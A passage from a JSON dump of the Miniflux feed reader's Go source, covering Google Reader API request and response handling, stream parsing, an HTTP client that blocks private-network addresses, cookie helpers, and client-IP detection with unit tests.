    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nconst (\n\t// paramItemIDs - name of the parameter with the item ids\n\tparamItemIDs = \"i\"\n\t// paramStreamID - name of the parameter containing the stream to be included\n\tparamStreamID = \"s\"\n\t// paramStreamExcludes - name of the parameter containing streams to be excluded\n\tparamStreamExcludes = \"xt\"\n\t// paramStreamFilters - name of the parameter containing streams to be included\n\tparamStreamFilters = \"it\"\n\t// paramStreamMaxItems - name of the parameter containing number of items per page/max items returned\n\tparamStreamMaxItems = \"n\"\n\t// paramStreamOrder - name of the parameter containing the sort criteria\n\tparamStreamOrder = \"r\"\n\t// paramStreamStartTime - name of the parameter containing epoch timestamp, filtering items older than\n\tparamStreamStartTime = \"ot\"\n\t// paramStreamStopTime - name of the parameter containing epoch timestamp, filtering items newer than\n\tparamStreamStopTime = \"nt\"\n\t// paramTagsRemove - name of the parameter containing tags (streams) to be removed\n\tparamTagsRemove = \"r\"\n\t// paramTagsAdd - name of the parameter containing tags (streams) to be added\n\tparamTagsAdd = \"a\"\n\t// paramSubscribeAction - name of the parameter indicating the action to take for subscription/edit\n\tparamSubscribeAction = \"ac\"\n\t// paramTitle - name of the parameter for the title of the subscription\n\tparamTitle = \"t\"\n\t// paramQuickAdd - name of the parameter for a URL being quick subscribed to\n\tparamQuickAdd = \"quickadd\"\n\t// paramDestination - name of the parameter for the new name of a tag\n\tparamDestination = \"dest\"\n\t// paramContinuation -  name of the parameter for callers to pass to receive the next page of results\n\tparamContinuation = \"c\"\n\t// paramTimestamp - name of the parameter for unix timestamp\n\tparamTimestamp = \"ts\"\n)\n"
  },
  {
    "path": "internal/googlereader/prefix_suffix.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nconst (\n\t// streamPrefix is the prefix for streams (read/starred/reading list and so on)\n\tstreamPrefix = \"user/-/state/com.google/\"\n\t// userStreamPrefix is the user specific prefix for streams (read/starred/reading list and so on)\n\tuserStreamPrefix = \"user/%d/state/com.google/\"\n\t// labelPrefix is the prefix for a label stream\n\tlabelPrefix = \"user/-/label/\"\n\t// userLabelPrefix is the user specific prefix prefix for a label stream\n\tuserLabelPrefix = \"user/%d/label/\"\n\t// feedPrefix is the prefix for a feed stream\n\tfeedPrefix = \"feed/\"\n\t// readStreamSuffix is the suffix for read stream\n\treadStreamSuffix = \"read\"\n\t// starredStreamSuffix is the suffix for starred stream\n\tstarredStreamSuffix = \"starred\"\n\t// readingListStreamSuffix is the suffix for reading list stream\n\treadingListStreamSuffix = \"reading-list\"\n\t// keptUnreadStreamSuffix is the suffix for kept unread stream\n\tkeptUnreadStreamSuffix = \"kept-unread\"\n\t// broadcastStreamSuffix is the suffix for broadcast stream\n\tbroadcastStreamSuffix = \"broadcast\"\n\t// broadcastFriendsStreamSuffix is the suffix for broadcast friends stream\n\tbroadcastFriendsStreamSuffix = \"broadcast-friends\"\n\t// likeStreamSuffix is the suffix for like stream\n\tlikeStreamSuffix = \"like\"\n)\n"
  },
  {
    "path": "internal/googlereader/request_modifier.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n)\n\ntype requestModifiers struct {\n\tExcludeTargets    []Stream\n\tFilterTargets     []Stream\n\tStreams           []Stream\n\tCount             int\n\tOffset            int\n\tSortDirection     string\n\tStartTime         int64\n\tStopTime          int64\n\tContinuationToken string\n\tUserID            int64\n}\n\nfunc (r requestModifiers) String() string {\n\tvar results []string\n\n\tresults = append(results, fmt.Sprintf(\"UserID: %d\", r.UserID))\n\n\tstreamStr := make([]string, 0, len(r.Streams))\n\tfor _, s := range r.Streams {\n\t\tstreamStr = append(streamStr, s.String())\n\t}\n\tresults = append(results, fmt.Sprintf(\"Streams: [%s]\", strings.Join(streamStr, \", \")))\n\n\texclusions := make([]string, 0, len(r.ExcludeTargets))\n\tfor _, s := range r.ExcludeTargets {\n\t\texclusions = append(exclusions, s.String())\n\t}\n\tresults = append(results, fmt.Sprintf(\"Exclusions: [%s]\", strings.Join(exclusions, \", \")))\n\n\tfilters := make([]string, 0, len(r.FilterTargets))\n\tfor _, s := range r.FilterTargets {\n\t\tfilters = append(filters, s.String())\n\t}\n\tresults = append(results, fmt.Sprintf(\"Filters: [%s]\", strings.Join(filters, \", \")))\n\n\tresults = append(results, fmt.Sprintf(\"Count: %d\", r.Count))\n\tresults = append(results, fmt.Sprintf(\"Offset: %d\", r.Offset))\n\tresults = append(results, \"Sort Direction: \"+r.SortDirection)\n\tresults = append(results, \"Continuation Token: \"+r.ContinuationToken)\n\tresults = append(results, fmt.Sprintf(\"Start Time: %d\", r.StartTime))\n\tresults = append(results, fmt.Sprintf(\"Stop Time: %d\", r.StopTime))\n\n\treturn strings.Join(results, \"; \")\n}\n\nfunc parseStreamFilterFromRequest(r *http.Request) (requestModifiers, error) {\n\tuserID := request.UserID(r)\n\tresult := requestModifiers{\n\t\tSortDirection: \"desc\",\n\t\tUserID:        userID,\n\t}\n\n\tstreamOrder := request.QueryStringParam(r, paramStreamOrder, \"d\")\n\tif streamOrder == \"o\" {\n\t\tresult.SortDirection = \"asc\"\n\t}\n\tvar err error\n\tresult.Streams, err = getStreams(request.QueryStringParamList(r, paramStreamID), userID)\n\tif err != nil {\n\t\treturn requestModifiers{}, err\n\t}\n\tresult.ExcludeTargets, err = getStreams(request.QueryStringParamList(r, paramStreamExcludes), userID)\n\tif err != nil {\n\t\treturn requestModifiers{}, err\n\t}\n\n\tresult.FilterTargets, err = getStreams(request.QueryStringParamList(r, paramStreamFilters), userID)\n\tif err != nil {\n\t\treturn requestModifiers{}, err\n\t}\n\n\tresult.Count = request.QueryIntParam(r, paramStreamMaxItems, 0)\n\tresult.Offset = request.QueryIntParam(r, paramContinuation, 0)\n\tresult.StartTime = request.QueryInt64Param(r, paramStreamStartTime, int64(0))\n\tresult.StopTime = request.QueryInt64Param(r, paramStreamStopTime, int64(0))\n\treturn result, nil\n}\n"
  },
  {
    "path": "internal/googlereader/response.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\ntype loginResponse struct {\n\tSID  string `json:\"SID,omitempty\"`\n\tLSID string `json:\"LSID,omitempty\"`\n\tAuth string `json:\"Auth,omitempty\"`\n}\n\nfunc (l loginResponse) String() string {\n\treturn fmt.Sprintf(\"SID=%s\\nLSID=%s\\nAuth=%s\\n\", l.SID, l.LSID, l.Auth)\n}\n\ntype userInfoResponse struct {\n\tUserID        string `json:\"userId\"`\n\tUserName      string `json:\"userName\"`\n\tUserProfileID string `json:\"userProfileId\"`\n\tUserEmail     string `json:\"userEmail\"`\n}\n\ntype subscriptionResponse struct {\n\tID         string                         `json:\"id\"`\n\tTitle      string                         `json:\"title\"`\n\tCategories []subscriptionCategoryResponse `json:\"categories\"`\n\tURL        string                         `json:\"url\"`\n\tHTMLURL    string                         `json:\"htmlUrl\"`\n\tIconURL    string                         `json:\"iconUrl\"`\n}\n\ntype subscriptionsResponse struct {\n\tSubscriptions []subscriptionResponse `json:\"subscriptions\"`\n}\n\ntype quickAddResponse struct {\n\tNumResults int64  `json:\"numResults\"`\n\tQuery      string `json:\"query,omitempty\"`\n\tStreamID   string `json:\"streamId,omitempty\"`\n\tStreamName string `json:\"streamName,omitempty\"`\n}\n\ntype subscriptionCategoryResponse struct {\n\tID    string `json:\"id\"`\n\tLabel string `json:\"label,omitempty\"`\n\tType  string `json:\"type,omitempty\"`\n}\n\ntype itemRef struct {\n\tID              string `json:\"id\"`\n\tDirectStreamIDs string `json:\"directStreamIds,omitempty\"`\n\tTimestampUsec   string `json:\"timestampUsec,omitempty\"`\n}\n\ntype streamIDResponse struct {\n\tItemRefs     []itemRef `json:\"itemRefs\"`\n\tContinuation int       `json:\"continuation,omitempty,string\"`\n}\n\ntype tagsResponse struct {\n\tTags []subscriptionCategoryResponse `json:\"tags\"`\n}\n\ntype streamContentItemsResponse struct {\n\tDirection string        `json:\"direction\"`\n\tID        string        `json:\"id\"`\n\tTitle     string        `json:\"title\"`\n\tSelf      []contentHREF `json:\"self\"`\n\tUpdated   int64         `json:\"updated\"`\n\tItems     []contentItem `json:\"items\"`\n\tAuthor    string        `json:\"author\"`\n}\n\ntype contentItem struct {\n\tID            string                 `json:\"id\"`\n\tCategories    []string               `json:\"categories\"`\n\tTitle         string                 `json:\"title\"`\n\tCrawlTimeMsec string                 `json:\"crawlTimeMsec\"`\n\tTimestampUsec string                 `json:\"timestampUsec\"`\n\tPublished     int64                  `json:\"published\"`\n\tUpdated       int64                  `json:\"updated\"`\n\tAuthor        string                 `json:\"author\"`\n\tAlternate     []contentHREFType      `json:\"alternate\"`\n\tSummary       contentItemContent     `json:\"summary\"`\n\tContent       contentItemContent     `json:\"content\"`\n\tOrigin        contentItemOrigin      `json:\"origin\"`\n\tEnclosure     []contentItemEnclosure `json:\"enclosure\"`\n\tCanonical     []contentHREF          `json:\"canonical\"`\n}\n\ntype contentHREFType struct {\n\tHREF string `json:\"href\"`\n\tType string `json:\"type\"`\n}\n\ntype contentHREF struct {\n\tHREF string `json:\"href\"`\n}\n\ntype contentItemEnclosure struct {\n\tURL  string `json:\"url\"`\n\tType string `json:\"type\"`\n}\ntype contentItemContent struct {\n\tDirection string `json:\"direction\"`\n\tContent   string `json:\"content\"`\n}\n\ntype contentItemOrigin struct {\n\tStreamID string `json:\"streamId\"`\n\tTitle    string `json:\"title\"`\n\tHTMLUrl  string `json:\"htmlUrl\"`\n}\n\nfunc sendUnauthorizedResponse(w http.ResponseWriter, r *http.Request) {\n\tbuilder := response.NewBuilder(w, r)\n\tbuilder.WithStatus(http.StatusUnauthorized)\n\tbuilder.WithHeader(\"X-Reader-Google-Bad-Token\", \"true\")\n\tbuilder.WithHeader(\"Content-Type\", \"text/plain; charset=utf-8\")\n\tbuilder.WithBodyAsString(\"Unauthorized\")\n\tbuilder.Write()\n}\n"
  },
  {
    "path": "internal/googlereader/stream.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googlereader // import \"miniflux.app/v2/internal/googlereader\"\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\ntype StreamType int\n\nconst (\n\t// NoStream - no stream type\n\tNoStream StreamType = iota\n\t// ReadStream - read stream type\n\tReadStream\n\t// StarredStream - starred stream type\n\tStarredStream\n\t// ReadingListStream - reading list stream type\n\tReadingListStream\n\t// KeptUnreadStream - kept unread stream type\n\tKeptUnreadStream\n\t// BroadcastStream - broadcast stream type\n\tBroadcastStream\n\t// BroadcastFriendsStream - broadcast friends stream type\n\tBroadcastFriendsStream\n\t// LabelStream - label stream type\n\tLabelStream\n\t// FeedStream - feed stream type\n\tFeedStream\n\t// LikeStream - like stream type\n\tLikeStream\n)\n\n// Stream defines a stream type and its ID.\ntype Stream struct {\n\tType StreamType\n\tID   string\n}\n\nfunc (s Stream) String() string {\n\treturn fmt.Sprintf(\"%v - '%s'\", s.Type, s.ID)\n}\n\nfunc (st StreamType) String() string {\n\tswitch st {\n\tcase NoStream:\n\t\treturn \"NoStream\"\n\tcase ReadStream:\n\t\treturn \"ReadStream\"\n\tcase StarredStream:\n\t\treturn \"StarredStream\"\n\tcase ReadingListStream:\n\t\treturn \"ReadingListStream\"\n\tcase KeptUnreadStream:\n\t\treturn \"KeptUnreadStream\"\n\tcase BroadcastStream:\n\t\treturn \"BroadcastStream\"\n\tcase BroadcastFriendsStream:\n\t\treturn \"BroadcastFriendsStream\"\n\tcase LabelStream:\n\t\treturn \"LabelStream\"\n\tcase FeedStream:\n\t\treturn \"FeedStream\"\n\tcase LikeStream:\n\t\treturn \"LikeStream\"\n\tdefault:\n\t\treturn st.String()\n\t}\n}\n\nfunc getStream(streamID string, userID int64) (Stream, error) {\n\tswitch {\n\tcase strings.HasPrefix(streamID, feedPrefix):\n\t\treturn Stream{Type: FeedStream, ID: strings.TrimPrefix(streamID, feedPrefix)}, nil\n\tcase strings.HasPrefix(streamID, fmt.Sprintf(userStreamPrefix, userID)), strings.HasPrefix(streamID, streamPrefix):\n\t\tid := strings.TrimPrefix(streamID, fmt.Sprintf(userStreamPrefix, userID))\n\t\tid = strings.TrimPrefix(id, streamPrefix)\n\t\tswitch id {\n\t\tcase readStreamSuffix:\n\t\t\treturn Stream{ReadStream, \"\"}, nil\n\t\tcase starredStreamSuffix:\n\t\t\treturn Stream{StarredStream, \"\"}, nil\n\t\tcase readingListStreamSuffix:\n\t\t\treturn Stream{ReadingListStream, \"\"}, nil\n\t\tcase keptUnreadStreamSuffix:\n\t\t\treturn Stream{KeptUnreadStream, \"\"}, nil\n\t\tcase broadcastStreamSuffix:\n\t\t\treturn Stream{BroadcastStream, \"\"}, nil\n\t\tcase broadcastFriendsStreamSuffix:\n\t\t\treturn Stream{BroadcastFriendsStream, \"\"}, nil\n\t\tcase likeStreamSuffix:\n\t\t\treturn Stream{LikeStream, \"\"}, nil\n\t\tdefault:\n\t\t\treturn Stream{NoStream, \"\"}, fmt.Errorf(\"googlereader: unknown stream with id: %s\", id)\n\t\t}\n\tcase strings.HasPrefix(streamID, fmt.Sprintf(userLabelPrefix, userID)), strings.HasPrefix(streamID, labelPrefix):\n\t\tid := strings.TrimPrefix(streamID, fmt.Sprintf(userLabelPrefix, userID))\n\t\tid = strings.TrimPrefix(id, labelPrefix)\n\t\treturn Stream{LabelStream, id}, nil\n\tcase streamID == \"\":\n\t\treturn Stream{NoStream, \"\"}, nil\n\tdefault:\n\t\treturn Stream{NoStream, \"\"}, fmt.Errorf(\"googlereader: unknown stream type: %s\", streamID)\n\t}\n}\n\nfunc getStreams(streamIDs []string, userID int64) ([]Stream, error) {\n\tstreams := make([]Stream, 0, len(streamIDs))\n\tfor _, streamID := range streamIDs {\n\t\tstream, err := getStream(streamID, userID)\n\t\tif err != nil {\n\t\t\treturn []Stream{}, err\n\t\t}\n\t\tstreams = append(streams, stream)\n\t}\n\treturn streams, nil\n}\n"
  },
  {
    "path": "internal/http/client/client.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client // import \"miniflux.app/v2/internal/http/client\"\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\n// ErrPrivateNetwork is returned when a connection to a private network is blocked.\nvar ErrPrivateNetwork = errors.New(\"client: connection to private network is blocked\")\n\n// Options holds configuration for creating an HTTP client.\ntype Options struct {\n\tTimeout              time.Duration\n\tBlockPrivateNetworks bool\n}\n\n// NewClientWithOptions creates a new HTTP client with the specified options.\nfunc NewClientWithOptions(opts Options) *http.Client {\n\tif !opts.BlockPrivateNetworks {\n\t\treturn &http.Client{Timeout: opts.Timeout}\n\t}\n\n\tdialer := &net.Dialer{\n\t\tTimeout: opts.Timeout,\n\t}\n\n\ttransport := &http.Transport{\n\t\t// The check is performed at connect time on the actual resolved IP, which eliminates TOCTOU / DNS-rebinding vulnerabilities.\n\t\tDialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\t\thost, port, err := net.SplitHostPort(addr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"client: unable to parse address %q: %w\", addr, err)\n\t\t\t}\n\n\t\t\tips, err := net.LookupIP(host)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"client: unable to resolve host %q: %w\", host, err)\n\t\t\t}\n\n\t\t\tvar safeIP net.IP\n\t\t\tfor _, ip := range ips {\n\t\t\t\tif !urllib.IsNonPublicIP(ip) {\n\t\t\t\t\tsafeIP = ip\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif safeIP == nil {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: host %q resolves to a non-public IP address\", ErrPrivateNetwork, host)\n\t\t\t}\n\n\t\t\tsafeAddr := net.JoinHostPort(safeIP.String(), port)\n\t\t\treturn dialer.DialContext(ctx, network, safeAddr)\n\t\t},\n\t}\n\n\treturn &http.Client{\n\t\tTimeout:   opts.Timeout,\n\t\tTransport: transport,\n\t}\n}\n"
  },
  {
    "path": "internal/http/client/client_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage client\n\nimport (\n\t\"errors\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestNewClientWithoutBlockingPrivateNetworks(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second})\n\tresp, err := client.Get(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(\"Expected status 200, got %d\", resp.StatusCode)\n\t}\n}\n\nfunc TestBlockPrivateNetworksBlocksLoopback(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second, BlockPrivateNetworks: true})\n\t_, err := client.Get(server.URL)\n\tif err == nil {\n\t\tt.Fatal(\"Expected an error when connecting to loopback address, got nil\")\n\t}\n\n\tif !errors.Is(err, ErrPrivateNetwork) {\n\t\tt.Fatalf(\"Expected ErrPrivateNetwork, got %v\", err)\n\t}\n}\n\nfunc TestBlockPrivateNetworksAllowsPublicIPs(t *testing.T) {\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second, BlockPrivateNetworks: true})\n\tif client == nil {\n\t\tt.Fatal(\"Expected non-nil client\")\n\t}\n\n\ttransport, ok := client.Transport.(*http.Transport)\n\tif !ok {\n\t\tt.Fatal(\"Expected custom http.Transport when blockPrivateNetworks is true\")\n\t}\n\tif transport.DialContext == nil {\n\t\tt.Fatal(\"Expected custom DialContext when blockPrivateNetworks is true\")\n\t}\n}\n\nfunc TestNoCustomTransportWhenNotBlocking(t *testing.T) {\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second})\n\tif client.Transport != nil {\n\t\tt.Fatal(\"Expected nil transport when blockPrivateNetworks is false\")\n\t}\n}\n\nfunc TestBlockPrivateNetworksBlocksPrivateIP(t *testing.T) {\n\tlistener, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create listener: %v\", err)\n\t}\n\tdefer listener.Close()\n\n\tserver := httptest.NewUnstartedServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tserver.Listener = listener\n\tserver.Start()\n\tdefer server.Close()\n\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second, BlockPrivateNetworks: true})\n\t_, err = client.Get(server.URL)\n\tif err == nil {\n\t\tt.Fatal(\"Expected error when connecting to private IP\")\n\t}\n\n\tif !errors.Is(err, ErrPrivateNetwork) {\n\t\tt.Fatalf(\"Expected ErrPrivateNetwork, got: %v\", err)\n\t}\n}\n\nfunc TestBlockPrivateNetworksAllowsLoopbackWhenDisabled(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\tclient := NewClientWithOptions(Options{Timeout: 5 * time.Second})\n\tresp, err := client.Get(server.URL)\n\tif err != nil {\n\t\tt.Fatalf(\"Expected no error when blockPrivateNetworks is false, got %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(\"Expected status 200, got %d\", resp.StatusCode)\n\t}\n}\n"
  },
  {
    "path": "internal/http/cookie/cookie.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cookie // import \"miniflux.app/v2/internal/http/cookie\"\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\n// Cookie names.\nconst (\n\tCookieAppSessionID  = \"MinifluxAppSessionID\"\n\tCookieUserSessionID = \"MinifluxUserSessionID\"\n)\n\n// New creates a new cookie.\nfunc New(name, value string, isHTTPS bool, path string) *http.Cookie {\n\treturn &http.Cookie{\n\t\tName:     name,\n\t\tValue:    value,\n\t\tPath:     basePath(path),\n\t\tSecure:   isHTTPS,\n\t\tHttpOnly: true,\n\t\tExpires:  time.Now().Add(config.Opts.CleanupRemoveSessionsInterval()),\n\t\tSameSite: http.SameSiteLaxMode,\n\t}\n}\n\n// Expired returns an expired cookie.\nfunc Expired(name string, isHTTPS bool, path string) *http.Cookie {\n\treturn &http.Cookie{\n\t\tName:     name,\n\t\tValue:    \"\",\n\t\tPath:     basePath(path),\n\t\tSecure:   isHTTPS,\n\t\tHttpOnly: true,\n\t\tMaxAge:   -1,\n\t\tExpires:  time.Date(1970, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\tSameSite: http.SameSiteLaxMode,\n\t}\n}\n\nfunc basePath(path string) string {\n\tif path == \"\" {\n\t\treturn \"/\"\n\t}\n\treturn path\n}\n"
  },
  {
    "path": "internal/http/request/client_ip.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n)\n\n// IsTrustedIP reports whether the given remote IP address belongs to one of the trusted networks.\nfunc IsTrustedIP(remoteIP string, trustedNetworks []string) bool {\n\tif len(trustedNetworks) == 0 {\n\t\treturn false\n\t}\n\n\tip := net.ParseIP(remoteIP)\n\tif ip == nil {\n\t\treturn false\n\t}\n\n\tfor _, cidr := range trustedNetworks {\n\t\t_, network, err := net.ParseCIDR(cidr)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif network.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// FindClientIP returns the real client IP address using trusted reverse-proxy headers when allowed.\nfunc FindClientIP(r *http.Request, isTrustedProxyClient bool) string {\n\tif isTrustedProxyClient {\n\t\theaders := [...]string{\"X-Forwarded-For\", \"X-Real-Ip\"}\n\t\tfor _, header := range headers {\n\t\t\tvalue := r.Header.Get(header)\n\n\t\t\tif value != \"\" {\n\t\t\t\taddresses := strings.Split(value, \",\")\n\t\t\t\taddress := strings.TrimSpace(addresses[0])\n\t\t\t\taddress = dropIPv6zone(address)\n\n\t\t\t\tif net.ParseIP(address) != nil {\n\t\t\t\t\treturn address\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Fallback to TCP/IP source IP address.\n\treturn FindRemoteIP(r)\n}\n\n// FindRemoteIP returns the parsed remote IP address from the request,\n// falling back to 127.0.0.1 if the address is empty, a unix socket, or invalid.\nfunc FindRemoteIP(r *http.Request) string {\n\tif r.RemoteAddr == \"@\" || r.RemoteAddr == \"\" {\n\t\treturn \"127.0.0.1\"\n\t}\n\n\t// If it looks like it has a port (IPv4:port or [IPv6]:port), try to split it.\n\tip, _, err := net.SplitHostPort(r.RemoteAddr)\n\tif err != nil {\n\t\t// No port — could be a bare IPv4, IPv6, or IPv6 with zone.\n\t\tip = r.RemoteAddr\n\t}\n\n\t// Strip IPv6 zone identifier if present (e.g., %eth0).\n\tip = dropIPv6zone(ip)\n\n\t// Validate the IP address.\n\tif net.ParseIP(ip) == nil {\n\t\treturn \"127.0.0.1\"\n\t}\n\n\treturn ip\n}\n\nfunc dropIPv6zone(address string) string {\n\tidx := strings.IndexByte(address, '%')\n\tif idx != -1 {\n\t\taddress = address[:idx]\n\t}\n\treturn address\n}\n"
  },
  {
    "path": "internal/http/request/client_ip_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage request // import \"miniflux.app/v2/internal/http/request\"\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n)\n\nfunc TestFindClientIPWithoutHeaders(t *testing.T) {\n\tr := &http.Request{RemoteAddr: \"192.168.0.1:4242\"}\n\tif ip := FindClientIP(r, false); ip != \"192.168.0.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"192.168.0.1\"}\n\tif ip := FindClientIP(r, false); ip != \"192.168.0.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"fe80::14c2:f039:edc7:edc7\"}\n\tif ip := FindClientIP(r, false); ip != \"fe80::14c2:f039:edc7:edc7\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"fe80::14c2:f039:edc7:edc7%eth0\"}\n\tif ip := FindClientIP(r, false); ip != \"fe80::14c2:f039:edc7:edc7\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"[fe80::14c2:f039:edc7:edc7%eth0]:4242\"}\n\tif ip := FindClientIP(r, false); ip != \"fe80::14c2:f039:edc7:edc7\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"@\"}\n\tif ip := FindClientIP(r, false); ip != \"127.0.0.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\tr = &http.Request{RemoteAddr: \"\"}\n\tif ip := FindClientIP(r, false); ip != \"127.0.0.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n}\n\nfunc TestFindClientIPWithXFFHeader(t *testing.T) {\n\t// Test with multiple IPv4 addresses.\n\theaders := http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"203.0.113.195, 70.41.3.18, 150.172.238.178\")\n\tr := &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"203.0.113.195\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\t// Test with single IPv6 address.\n\theaders = http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"2001:db8:85a3:8d3:1319:8a2e:370:7348\")\n\tr = &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"2001:db8:85a3:8d3:1319:8a2e:370:7348\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\t// Test with single IPv6 address with zone\n\theaders = http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"fe80::14c2:f039:edc7:edc7%eth0\")\n\tr = &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"fe80::14c2:f039:edc7:edc7\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\t// Test with single IPv4 address.\n\theaders = http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"70.41.3.18\")\n\tr = &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"70.41.3.18\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n\n\t// Test with invalid IP address.\n\theaders = http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"fake IP\")\n\tr = &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"192.168.0.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n}\n\nfunc TestClientIPWithXRealIPHeader(t *testing.T) {\n\theaders := http.Header{}\n\theaders.Set(\"X-Real-Ip\", \"192.168.122.1\")\n\tr := &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"192.168.122.1\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, ip)\n\t}\n}\n\nfunc TestClientIPWithBothHeaders(t *testing.T) {\n\theaders := http.Header{}\n\theaders.Set(\"X-Forwarded-For\", \"203.0.113.195, 70.41.3.18, 150.172.238.178\")\n\theaders.Set(\"X-Real-Ip\", \"192.168.122.1\")\n\n\tr := &http.Request{RemoteAddr: \"192.168.0.1:4242\", Header: headers}\n\n\tif ip := FindClientIP(r, true); ip != \"203.0.113.195\" {\n\t\tt.Fatalf(`Unexpected result, got: %q`, 